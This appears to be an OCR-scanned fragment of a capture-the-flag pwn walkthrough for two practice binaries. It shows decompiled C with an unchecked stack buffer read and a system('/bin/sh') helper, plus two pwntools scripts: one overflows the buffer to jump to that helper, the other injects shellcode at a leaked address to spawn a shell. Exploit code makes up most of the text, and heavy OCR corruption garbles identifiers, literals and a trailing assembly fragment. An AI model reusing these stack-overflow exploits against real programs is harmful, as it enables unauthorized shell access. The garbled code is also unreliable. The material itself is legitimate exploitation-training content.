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1§nt __cdecl main(int argc, const char **argv, const char **envp)
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3| write(1, "Hello, World\n", @xDull);
4/ return vulnerable function();
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{
char buf; f/ [rsp+8h] [rbp-86h]

return read(®, &but, Ox200ull);
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1[int callsystem()

2i{

3| return system("/bin/sh");
4}
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from pwn import *

context.binary = './level®'

context.log _level = 'debug'

elf = context.binary

io = process("./level@")

payload = flat(cyclic(@x80 + 8) + elf.sym['callsystem'])

io.sendline(payload)
io.interactive()
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1fint _ cdecl main(int argc, const char **argv, const char **envp)
2
3| wvulnerable function();
4] write(1l, "Hello, World!\n", @xEu);
5/ return @;
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printf("What's this:%p?\n", &buf);

return read(@, &buf, Bx160u);
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from pwn import *

context.binary = './levell’
context.log _level = 'debug'
elf = context.binary

io = process('./levell')

io.recvuntil('this:")
buf = int(io.recvuntil('?\n', drop = True), 16)
shellcode = asm(shellcraft.sh())

payload = flat(shellcode, 'a'*(0x88 + 4 - len(shellcode)), buf)

io.sendline(payload)
io.interactive()

/* push 's
push @=1@1
3 rd ptr [esp], ©=1016972
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